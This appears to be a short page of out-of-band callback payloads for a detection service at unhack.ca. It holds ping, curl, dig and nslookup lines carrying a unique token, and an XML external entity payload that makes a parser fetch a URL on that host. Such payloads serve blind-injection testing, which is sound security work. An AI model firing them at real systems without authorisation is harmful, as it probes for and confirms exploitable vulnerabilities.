$ ping -c1 -p 0031b5998233081bdbc0734e8d2d3000 unhack.ca
 

$ curl http://unhack.ca/p/31b5998233081bdbc0734e8d2d30
 

$ dig 31b5998233081bdbc0734e8d2d30 @unhack.ca
 

$ dig 31b5998233081bdbc0734e8d2d30.ns.unhack.ca
 

C:\> nslookup 31b5998233081bdbc0734e8d2d30 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/31b5998233081bdbc0734e8d2d30">]>
    <foo>&xxe;</foo>